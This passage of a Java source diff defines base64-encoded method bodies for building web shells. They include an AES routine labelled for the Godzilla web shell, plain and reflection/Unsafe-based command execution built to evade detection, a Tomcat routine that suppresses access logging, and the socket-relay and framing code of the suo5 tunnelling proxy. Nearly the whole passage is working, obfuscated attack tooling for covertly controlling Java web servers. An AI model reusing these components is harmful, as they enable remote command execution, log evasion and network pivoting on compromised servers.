de2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlMikgewoJCQl9CgkJfQoJCXJldHVybiB2YWx1ZTsKCX0"; + + // base64Encode + public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKFN0cmluZykgRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlVG9TdHJpbmciLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0KCQlyZXR1cm4gdmFsdWU7Cgl9"; + + // MD5 + public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9"; + + // 哥斯拉 AES 方法 x(需要 Field xc) + public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ=="; + + // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe + public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlTdHJpbmdCdWlsZGVyIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgaGFuZGxlID0gIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkID0gbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKTsKCQkJCQlnZXRNZXRob2RBbmRJbnZva2UoZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiZmRBY2Nlc3MiKSwgInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIE9iamVjdC5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJzdGRvdXRfc3RyZWFtIik7CgkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQl9IGVsc2UgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117Ii9iaW4vYmFzaCIsICItYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJYnl0ZVtdW10gYXJncyA9IG5ldyBieXRlW2NtZHMubGVuZ3RoIC0gMV1bXTsKCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrKSB7CgkJCQkJCWFyZ3NbaV0gPSBjbWRzW2kgKyAxXS5nZXRCeXRlcygpOwoJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCX0KCQkJCQlieXRlW10gYXJnQmxvY2sgPSBuZXcgYnl0ZVtzaXplXTsKCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCWZvciAoaW50IGkxID0gMDsgaTEgPCBhcmdzLmxlbmd0aDsgaTErKykgewoJCQkJCQlTeXN0ZW0uYXJyYXljb3B5KGFyZ3NbaTFdLCAwLCBhcmdCbG9jaywgaSwgYXJnc1tpMV0ubGVuZ3RoKTsKCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCX0KCQkJCQlpbnRbXSAgc3RkX2ZkcyAgICAgICAgICAgICAgID0gbmV3IGludFtdey0xLCAtMSwgLTF9OwoJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCWludCAgICBvcmRpbmFsICAgICAgICAgICAgICAgPSBqYXZhLmxhbmcuSW50ZWdlci5wYXJzZUludChnZXRNZXRob2RBbmRJbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCAib3JkaW5hbCIsIG51bGwsIG51bGwpLnRvU3RyaW5nKCkpOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50W10uY2xhc3MsIGJvb2xlYW4uY2xhc3N9LCBuZXcgT2JqZWN0W117SW50ZWdlci52YWx1ZU9mKG9yZGluYWwgKyAxKSwgaGVscGVycGF0aE9iamVjdCwgdG9DU3RyaW5nKGNtZHNbMF0pLCBhcmdCbG9jaywgSW50ZWdlci52YWx1ZU9mKGFyZ3MubGVuZ3RoKSwgbnVsbCwgSW50ZWdlci52YWx1ZU9mKDEpLCBudWxsLCBzdGRfZmRzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQl9CgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZ2V0SW5wdXRTdHJlYW0iLCBudWxsLCBudWxsKTsKCQkJCWludCAgICAgICAgICAgICAgICAgYSAgPSAwOwoJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoJCQkJcmV0dXJuIGJhb3M7CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; + + // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() + public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; + + // Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke + public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZlID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + + public static class SUO5 { + + // suo5 newCreate 方法 + public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ=="; + + // suo5 newData 方法 + public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 newDel 方法 + public static String SUO5_NEW_DEL = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 setStream 方法,需要 Field gInStream,gOutStream + public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ=="; + + // suo5 newStatus 方法 + public static String SUO5_NEW_STATUS = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo="; + + // suo5 u32toBytes 方法 + public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9"; + + // suo5 bytesToU32 方法 + public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0="; + + // suo5 marshal 方法,需要 u32toBytes + public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ=="; + + // suo5 unmarshal 方法,需要 bytesToU32 + public static String SUO5_UNMARSHAL = "cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmIChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9"; + + // suo5 readSocket 方法,需要 marshal newData + public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ=="; + + // suo5 readInputStreamWithTimeout 方法 + public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = 